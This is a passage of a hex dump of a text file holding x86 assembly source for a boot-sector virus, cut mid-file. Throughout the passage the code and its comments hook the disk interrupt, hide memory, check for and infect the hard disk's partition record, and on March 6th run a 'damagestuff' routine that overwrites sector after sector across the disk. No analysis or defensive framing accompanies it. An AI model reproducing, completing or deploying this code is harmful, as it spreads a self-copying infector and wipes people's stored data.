|00001140| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001150| 20 64 73 2c 61 78 0a 20 | 20 20 20 20 20 20 20 20 | ds,ax. | |
|00001160| 20 20 20 20 20 20 20 63 | 6c 69 0a 20 20 20 20 20 | c|li. |
|00001170| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00001180| 20 20 20 73 73 2c 61 78 | 0a 20 20 20 20 20 20 20 | ss,ax|. |
|00001190| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|000011a0| 20 61 78 2c 37 43 30 30 | 68 20 20 20 20 20 20 20 | ax,7C00|h |
|000011b0| 20 20 20 20 20 20 20 20 | 20 3b 20 53 65 74 20 73 | | ; Set s|
|000011c0| 74 61 63 6b 20 74 6f 20 | 6a 75 73 74 20 0a 62 65 |tack to |just .be|
|000011d0| 6c 6f 77 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |low. | |
|000011e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 73 70 2c 61 | mov | sp,a|
|000011f0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00001200| 20 20 20 20 3b 20 76 69 | 72 75 73 20 6c 6f 61 64 | ; vi|rus load|
|00001210| 20 70 6f 69 6e 74 0a 20 | 20 20 20 20 20 20 20 20 | point. | |
|00001220| 20 20 20 20 20 20 20 73 | 74 69 0a 20 20 20 20 20 | s|ti. |
|00001230| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 | | push |
|00001240| 20 20 20 64 73 20 20 20 | 20 20 20 20 20 20 20 20 | ds | |
|00001250| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 73 61 76 | | ; sav|
|00001260| 65 20 30 3a 37 43 30 30 | 68 20 6f 6e 20 73 74 61 |e 0:7C00|h on sta|
|00001270| 63 6b 20 0a 66 6f 72 0a | 20 20 20 20 20 20 20 20 |ck .for.| |
|00001280| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00001290| 61 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax | |
|000012a0| 20 20 20 20 20 20 20 20 | 3b 20 6c 61 74 65 72 20 | |; later |
|000012b0| 72 65 74 66 0a 20 20 20 | 20 20 20 20 20 20 20 20 |retf. | |
|000012c0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|000012d0| 64 73 3a 5b 31 33 68 2a | 34 5d 0a 20 20 20 20 20 |ds:[13h*|4]. |
|000012e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|000012f0| 20 20 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 5b | word |ptr ds:[|
|00001300| 37 43 30 30 68 2b 6f 66 | 66 73 65 74 20 6f 6c 64 |7C00h+of|fset old|
|00001310| 69 6e 74 31 33 68 5d 2c | 61 78 0a 20 20 20 20 20 |int13h],|ax. |
|00001320| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00001330| 20 20 20 61 78 2c 64 73 | 3a 5b 31 33 68 2a 34 2b | ax,ds|:[13h*4+|
|00001340| 32 5d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2]. | |
|00001350| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 | mov | word |
|00001360| 70 74 72 20 64 73 3a 5b | 37 43 30 30 68 2b 6f 66 |ptr ds:[|7C00h+of|
|00001370| 66 73 65 74 20 6f 6c 64 | 69 6e 74 31 33 68 2b 32 |fset old|int13h+2|
|00001380| 5d 2c 61 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |],ax. | |
|00001390| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|000013a0| 64 73 3a 5b 34 31 33 68 | 5d 20 20 20 20 20 20 20 |ds:[413h|] |
|000013b0| 20 20 20 20 20 3b 20 6d | 65 6d 6f 72 79 20 73 69 | ; m|emory si|
|000013c0| 7a 65 20 69 6e 20 4b 0a | 20 20 20 20 20 20 20 20 |ze in K.| |
|000013d0| 20 20 20 20 20 20 20 20 | 64 65 63 20 20 20 20 20 | |dec |
|000013e0| 61 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax | |
|000013f0| 20 20 20 20 20 20 20 20 | 3b 20 31 30 32 34 20 4b | |; 1024 K|
|00001400| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001410| 20 64 65 63 20 20 20 20 | 20 61 78 0a 20 20 20 20 | dec | ax. |
|00001420| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00001430| 20 20 20 20 64 73 3a 5b | 34 31 33 68 5d 2c 61 78 | ds:[|413h],ax|
|00001440| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6d 6f | | ; mo|
|00001450| 76 65 20 6e 65 77 20 76 | 61 6c 75 65 20 69 6e 0a |ve new v|alue in.|
|00001460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001470| 6d 6f 76 20 20 20 20 20 | 63 6c 2c 36 0a 20 20 20 |mov |cl,6. |
|00001480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 68 6c | | shl|
|00001490| 20 20 20 20 20 61 78 2c | 63 6c 20 20 20 20 20 20 | ax,|cl |
|000014a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 61 | | ; a|
|000014b0| 78 20 3d 20 70 61 72 61 | 67 72 61 70 68 73 20 6f |x = para|graphs o|
|000014c0| 66 20 0a 6d 65 6d 6f 72 | 79 0a 20 20 20 20 20 20 |f .memor|y. |
|000014d0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|000014e0| 20 20 65 73 2c 61 78 20 | 20 20 20 20 20 20 20 20 | es,ax | |
|000014f0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 6e 65 78 74 | | ; next|
|00001500| 20 6c 69 6e 65 20 73 65 | 74 73 20 73 65 67 20 6f | line se|ts seg o|
|00001510| 66 20 0a 6a 6d 70 0a 20 | 20 20 20 20 20 20 20 20 |f .jmp. | |
|00001520| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00001530| 6f 72 64 20 70 74 72 20 | 64 73 3a 5b 37 43 30 30 |ord ptr |ds:[7C00|
|00001540| 68 2b 32 2b 6f 66 66 73 | 65 74 20 68 69 67 68 6d |h+2+offs|et highm|
|00001550| 65 6d 6a 6d 70 5d 2c 61 | 78 0a 20 20 20 20 20 20 |emjmp],a|x. |
|00001560| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00001570| 20 20 61 78 2c 6f 66 66 | 73 65 74 20 69 6e 74 31 | ax,off|set int1|
|00001580| 33 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3h. | |
|00001590| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 5b 31 | mov | ds:[1|
|000015a0| 33 68 2a 34 5d 2c 61 78 | 0a 20 20 20 20 20 20 20 |3h*4],ax|. |
|000015b0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|000015c0| 20 64 73 3a 5b 31 33 68 | 2a 34 2b 32 5d 2c 65 73 | ds:[13h|*4+2],es|
|000015d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000015e0| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 6f 66 66 73 | mov | cx,offs|
|000015f0| 65 74 20 70 61 72 74 69 | 74 69 6f 6e 69 6e 66 6f |et parti|tioninfo|
|00001600| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001610| 20 6d 6f 76 20 20 20 20 | 20 73 69 2c 37 43 30 30 | mov | si,7C00|
|00001620| 68 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h. | |
|00001630| 20 20 78 6f 72 20 20 20 | 20 20 64 69 2c 64 69 0a | xor | di,di.|
|00001640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001650| 63 6c 64 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |cld. | |
|00001660| 20 20 20 20 72 65 70 20 | 20 20 20 20 6d 6f 76 73 | rep | movs|
|00001670| 62 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |b | |
|00001680| 20 20 20 20 3b 20 63 6f | 70 79 20 74 6f 20 68 69 | ; co|py to hi|
|00001690| 67 68 20 6d 65 6d 6f 72 | 79 0a 20 20 20 20 20 20 |gh memor|y. |
|000016a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000016b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000016c0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 61 6e 64 20 | | ; and |
|000016d0| 74 72 61 6e 73 66 65 72 | 20 63 6f 6e 74 72 6f 6c |transfer| control|
|000016e0| 20 0a 74 68 65 72 65 0a | 20 20 20 20 20 20 20 20 | .there.| |
|000016f0| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 | |jmp |
|00001700| 64 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 37 43 |dword pt|r cs:[7C|
|00001710| 30 30 68 2b 6f 66 66 73 | 65 74 20 68 69 67 68 6d |00h+offs|et highm|
|00001720| 65 6d 6a 6d 70 5d 0a 3b | 20 64 65 73 74 69 6e 61 |emjmp].;| destina|
|00001730| 74 69 6f 6e 20 6f 66 20 | 68 69 67 68 6d 65 6d 20 |tion of |highmem |
|00001740| 6a 6d 70 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |jmp. | |
|00001750| 20 20 20 20 78 6f 72 20 | 20 20 20 20 61 78 2c 61 | xor | ax,a|
|00001760| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|00001770| 20 20 6d 6f 76 20 20 20 | 20 20 65 73 2c 61 78 0a | mov | es,ax.|
|00001780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001790| 69 6e 74 20 20 20 20 20 | 31 33 68 20 20 20 20 20 |int |13h |
|000017a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000017b0| 3b 20 72 65 73 65 74 20 | 64 69 73 6b 0a 20 20 20 |; reset |disk. |
|000017c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 | | pus|
|000017d0| 68 20 20 20 20 63 73 0a | 20 20 20 20 20 20 20 20 |h cs.| |
|000017e0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|000017f0| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds. | |
|00001800| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 32 30 | mov | ax,20|
|00001810| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h. | |
|00001820| 20 20 20 6d 6f 76 20 20 | 20 20 20 62 78 2c 37 43 | mov | bx,7C|
|00001830| 30 30 68 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |00h. | |
|00001840| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 66 | mov | cx,f|
|00001850| 69 72 73 74 73 65 63 74 | 6f 72 0a 20 20 20 20 20 |irstsect|or. |
|00001860| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 | | cmp |
|00001870| 20 20 20 63 78 2c 37 20 | 20 20 20 20 20 20 20 20 | cx,7 | |
|00001880| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 68 61 72 | | ; har|
|00001890| 64 20 64 69 73 6b 20 69 | 6e 66 65 63 74 69 6f 6e |d disk i|nfection|
|000018a0| 3f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |?. | |
|000018b0| 20 20 6a 6e 65 20 20 20 | 20 20 66 6c 6f 70 70 79 | jne | floppy|
|000018c0| 62 6f 6f 74 20 20 20 20 | 20 20 20 20 20 20 20 20 |boot | |
|000018d0| 20 20 3b 20 69 66 20 6e | 6f 74 2c 20 64 6f 20 66 | ; if n|ot, do f|
|000018e0| 6c 6f 70 70 69 65 73 0a | 20 20 20 20 20 20 20 20 |loppies.| |
|000018f0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001900| 64 78 2c 38 30 68 20 20 | 20 20 20 20 20 20 20 20 |dx,80h | |
|00001910| 20 20 20 20 20 20 20 20 | 3b 20 52 65 61 64 20 6f | |; Read o|
|00001920| 6c 64 20 70 61 72 74 69 | 74 69 6f 6e 20 0a 74 61 |ld parti|tion .ta|
|00001930| 62 6c 65 20 6f 66 0a 20 | 20 20 20 20 20 20 20 20 |ble of. | |
|00001940| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 31 | i|nt 1|
|00001950| 33 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3h | |
|00001960| 20 20 20 20 20 20 20 3b | 20 66 69 72 73 74 20 68 | ;| first h|
|00001970| 61 72 64 20 64 69 73 6b | 20 74 6f 20 0a 30 3a 37 |ard disk| to .0:7|
|00001980| 43 30 30 68 0a 20 20 20 | 20 20 20 20 20 20 20 20 |C00h. | |
|00001990| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 73 68 6f | jmp| sho|
|000019a0| 72 74 20 65 78 69 74 76 | 69 72 75 73 0a 66 6c 6f |rt exitv|irus.flo|
|000019b0| 70 70 79 62 6f 6f 74 3a | 0a 20 20 20 20 20 20 20 |ppyboot:|. |
|000019c0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|000019d0| 20 63 78 2c 66 69 72 73 | 74 73 65 63 74 6f 72 20 | cx,firs|tsector |
|000019e0| 20 20 20 20 20 20 20 20 | 20 3b 20 72 65 61 64 20 | | ; read |
|000019f0| 6f 6c 64 20 62 6f 6f 74 | 20 62 6c 6f 63 6b 0a 20 |old boot| block. |
|00001a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00001a10| 6f 76 20 20 20 20 20 64 | 78 2c 31 30 30 68 20 20 |ov d|x,100h |
|00001a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001a30| 20 74 6f 20 30 3a 37 43 | 30 30 68 0a 20 20 20 20 | to 0:7C|00h. |
|00001a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 | | int |
|00001a50| 20 20 20 20 31 33 68 0a | 20 20 20 20 20 20 20 20 | 13h.| |
|00001a60| 20 20 20 20 20 20 20 20 | 6a 63 20 20 20 20 20 20 | |jc |
|00001a70| 65 78 69 74 76 69 72 75 | 73 0a 20 20 20 20 20 20 |exitviru|s. |
|00001a80| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|00001a90| 20 20 63 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 | cs. | |
|00001aa0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 65 73 0a | pop| es.|
|00001ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ac0| 6d 6f 76 20 20 20 20 20 | 61 78 2c 32 30 31 68 20 |mov |ax,201h |
|00001ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ae0| 3b 20 72 65 61 64 20 62 | 6f 6f 74 20 62 6c 6f 63 |; read b|oot bloc|
|00001af0| 6b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k. | |
|00001b00| 20 20 6d 6f 76 20 20 20 | 20 20 62 78 2c 32 30 30 | mov | bx,200|
|00001b10| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00001b20| 20 20 3b 20 6f 66 20 66 | 69 72 73 74 20 68 61 72 | ; of f|irst har|
|00001b30| 64 20 64 69 73 6b 0a 20 | 20 20 20 20 20 20 20 20 |d disk. | |
|00001b40| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00001b50| 78 2c 31 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,1. | |
|00001b60| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 38 | mov | dx,8|
|00001b70| 30 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h. | |
|00001b80| 20 20 20 69 6e 74 20 20 | 20 20 20 31 33 68 0a 20 | int | 13h. |
|00001b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|00001ba0| 63 20 20 20 20 20 20 65 | 78 69 74 76 69 72 75 73 |c e|xitvirus|
|00001bb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001bc0| 20 78 6f 72 20 20 20 20 | 20 73 69 2c 73 69 0a 20 | xor | si,si. |
|00001bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00001be0| 6c 64 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ld. | |
|00001bf0| 20 20 20 6c 6f 64 73 77 | 0a 20 20 20 20 20 20 20 | lodsw|. |
|00001c00| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 | | cmp |
|00001c10| 20 61 78 2c 5b 62 78 5d | 20 20 20 20 20 20 20 20 | ax,[bx]| |
|00001c20| 20 20 20 20 20 20 20 20 | 20 3b 20 69 73 20 69 74 | | ; is it|
|00001c30| 20 69 6e 66 65 63 74 65 | 64 3f 0a 20 20 20 20 20 | infecte|d?. |
|00001c40| 20 20 20 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 | | jne |
|00001c50| 20 20 20 69 6e 66 65 63 | 74 68 61 72 64 64 69 73 | infec|tharddis|
|00001c60| 6b 20 20 20 20 20 20 20 | 20 20 20 3b 20 69 66 20 |k | ; if |
|00001c70| 6e 6f 74 2c 20 69 6e 66 | 65 63 74 20 48 44 0a 20 |not, inf|ect HD. |
|00001c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6c | | l|
|00001c90| 6f 64 73 77 20 20 20 20 | 20 20 20 20 20 20 20 20 |odsw | |
|00001ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001cb0| 20 63 68 65 63 6b 20 69 | 6e 66 65 63 74 69 6f 6e | check i|nfection|
|00001cc0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001cd0| 20 63 6d 70 20 20 20 20 | 20 61 78 2c 5b 62 78 2b | cmp | ax,[bx+|
|00001ce0| 32 5d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2]. | |
|00001cf0| 20 20 20 6a 6e 65 20 20 | 20 20 20 69 6e 66 65 63 | jne | infec|
|00001d00| 74 68 61 72 64 64 69 73 | 6b 0a 65 78 69 74 76 69 |tharddis|k.exitvi|
|00001d10| 72 75 73 3a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |rus:. | |
|00001d20| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 63 78 2c | xor| cx,|
|00001d30| 63 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cx | |
|00001d40| 20 20 20 20 20 3b 20 52 | 65 61 6c 20 74 69 6d 65 | ; R|eal time|
|00001d50| 20 63 6c 6f 63 6b 20 67 | 65 74 20 0a 64 61 74 65 | clock g|et .date|
|00001d60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001d70| 20 6d 6f 76 20 20 20 20 | 20 61 68 2c 34 20 20 20 | mov | ah,4 |
|00001d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001d90| 20 3b 20 64 78 20 3d 20 | 6d 6f 6e 2f 64 61 79 0a | ; dx = |mon/day.|
|00001da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001db0| 69 6e 74 20 20 20 20 20 | 31 41 68 0a 20 20 20 20 |int |1Ah. |
|00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|00001dd0| 20 20 20 20 64 78 2c 33 | 30 36 68 20 20 20 20 20 | dx,3|06h |
|00001de0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 4d 61 | | ; Ma|
|00001df0| 72 63 68 20 36 74 68 0a | 20 20 20 20 20 20 20 20 |rch 6th.| |
|00001e00| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|00001e10| 64 61 6d 61 67 65 73 74 | 75 66 66 0a 20 20 20 20 |damagest|uff. |
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 66 | | retf|
|00001e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 72 65 | | ; re|
|00001e50| 74 75 72 6e 20 63 6f 6e | 74 72 6f 6c 20 74 6f 20 |turn con|trol to |
|00001e60| 0a 6f 72 69 67 69 6e 61 | 6c 0a 20 20 20 20 20 20 |.origina|l. |
|00001e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e90| 20 20 20 20 20 20 20 20 | 20 20 3b 20 62 6f 6f 74 | | ; boot|
|00001ea0| 20 62 6c 6f 63 6b 20 40 | 20 30 3a 37 43 30 30 68 | block @| 0:7C00h|
|00001eb0| 0a 64 61 6d 61 67 65 73 | 74 75 66 66 3a 0a 20 20 |.damages|tuff:. |
|00001ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 78 6f | | xo|
|00001ed0| 72 20 20 20 20 20 64 78 | 2c 64 78 0a 20 20 20 20 |r dx|,dx. |
|00001ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00001ef0| 20 20 20 20 63 78 2c 31 | 0a 73 6d 61 73 68 61 6e | cx,1|.smashan|
|00001f00| 6f 74 68 65 72 73 65 63 | 74 6f 72 3a 0a 20 20 20 |othersec|tor:. |
|00001f10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00001f20| 20 20 20 20 20 61 78 2c | 33 30 39 68 0a 20 20 20 | ax,|309h. |
|00001f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00001f40| 20 20 20 20 20 73 69 2c | 66 69 72 73 74 73 65 63 | si,|firstsec|
|00001f50| 74 6f 72 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |tor. | |
|00001f60| 20 20 20 20 63 6d 70 20 | 20 20 20 20 73 69 2c 33 | cmp | si,3|
|00001f70| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001f80| 20 6a 65 20 20 20 20 20 | 20 73 6d 61 73 68 69 74 | je | smashit|
|00001f90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001fa0| 20 6d 6f 76 20 20 20 20 | 20 61 6c 2c 30 45 68 0a | mov | al,0Eh.|
|00001fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001fc0| 63 6d 70 20 20 20 20 20 | 73 69 2c 30 45 68 0a 20 |cmp |si,0Eh. |
|00001fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|00001fe0| 65 20 20 20 20 20 20 73 | 6d 61 73 68 69 74 0a 20 |e s|mashit. |
|00001ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00002000| 6f 76 20 20 20 20 20 64 | 6c 2c 38 30 68 20 20 20 |ov d|l,80h |
|00002010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00002020| 20 66 69 72 73 74 20 68 | 61 72 64 20 64 69 73 6b | first h|ard disk|
|00002030| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002040| 20 6d 6f 76 20 20 20 20 | 20 6d 61 78 68 65 61 64 | mov | maxhead|
|00002050| 2c 34 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,4. | |
|00002060| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 31 31 | mov | al,11|
|00002070| 68 0a 73 6d 61 73 68 69 | 74 3a 0a 20 20 20 20 20 |h.smashi|t:. |
|00002080| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00002090| 20 20 20 62 78 2c 35 30 | 30 30 68 20 20 20 20 20 | bx,50|00h |
|000020a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 72 61 6e | | ; ran|
|000020b0| 64 6f 6d 20 6d 65 6d 6f | 72 79 20 61 72 65 61 0a |dom memo|ry area.|
|000020c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000020d0| 6d 6f 76 20 20 20 20 20 | 65 73 2c 62 78 20 20 20 |mov |es,bx |
|000020e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000020f0| 3b 20 61 74 20 35 30 30 | 30 68 3a 35 30 30 30 68 |; at 500|0h:5000h|
|00002100| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002110| 20 69 6e 74 20 20 20 20 | 20 31 33 68 20 20 20 20 | int | 13h |
|00002120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002130| 20 3b 20 57 72 69 74 65 | 20 61 6c 20 73 65 63 74 | ; Write| al sect|
|00002140| 6f 72 73 20 74 6f 20 0a | 64 72 69 76 65 20 64 6c |ors to .|drive dl|
|00002150| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002160| 20 6a 6e 63 20 20 20 20 | 20 73 6b 69 70 6f 6e 65 | jnc | skipone|
|00002170| 72 72 6f 72 20 20 20 20 | 20 20 20 20 20 20 20 20 |rror | |
|00002180| 20 3b 20 73 6b 69 70 20 | 6f 6e 20 65 72 72 6f 72 | ; skip |on error|
|00002190| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000021a0| 20 78 6f 72 20 20 20 20 | 20 61 68 2c 61 68 20 20 | xor | ah,ah |
|000021b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000021c0| 20 3b 20 52 65 73 65 74 | 20 64 69 73 6b 20 64 72 | ; Reset| disk dr|
|000021d0| 69 76 65 20 64 6c 0a 20 | 20 20 20 20 20 20 20 20 |ive dl. | |
|000021e0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 31 | i|nt 1|
|000021f0| 33 68 0a 73 6b 69 70 6f | 6e 65 72 72 6f 72 3a 0a |3h.skipo|nerror:.|
|00002200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002210| 69 6e 63 20 20 20 20 20 | 64 68 20 20 20 20 20 20 |inc |dh |
|00002220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002230| 3b 20 6e 65 78 74 20 68 | 65 61 64 0a 20 20 20 20 |; next h|ead. |
|00002240| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|00002250| 20 20 20 20 64 68 2c 6d | 61 78 68 65 61 64 20 20 | dh,m|axhead |
|00002260| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 32 20 | | ; 2 |
|00002270| 69 66 20 66 6c 6f 70 70 | 79 2c 20 34 20 69 66 20 |if flopp|y, 4 if |
|00002280| 48 44 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |HD. | |
|00002290| 20 20 20 6a 62 20 20 20 | 20 20 20 73 6d 61 73 68 | jb | smash|
|000022a0| 61 6e 6f 74 68 65 72 73 | 65 63 74 6f 72 0a 20 20 |anothers|ector. |
|000022b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 78 6f | | xo|
|000022c0| 72 20 20 20 20 20 64 68 | 2c 64 68 20 20 20 20 20 |r dh|,dh |
|000022d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000022e0| 67 6f 20 74 6f 20 6e 65 | 78 74 20 0a 68 65 61 64 |go to ne|xt .head|
|000022f0| 2f 63 79 6c 69 6e 64 65 | 72 0a 20 20 20 20 20 20 |/cylinde|r. |
|00002300| 20 20 20 20 20 20 20 20 | 20 20 69 6e 63 20 20 20 | | inc |
|00002310| 20 20 63 68 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ch. | |
|00002320| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 73 68 6f | jmp| sho|
|00002330| 72 74 20 73 6d 61 73 68 | 61 6e 6f 74 68 65 72 73 |rt smash|anothers|
|00002340| 65 63 74 6f 72 0a 69 6e | 66 65 63 74 68 61 72 64 |ector.in|fecthard|
|00002350| 64 69 73 6b 3a 0a 20 20 | 20 20 20 20 20 20 20 20 |disk:. | |
|00002360| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 | mo|v cx|
|00002370| 2c 37 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,7 | |
|00002380| 20 20 20 20 20 20 3b 20 | 57 72 69 74 65 20 70 61 | ; |Write pa|
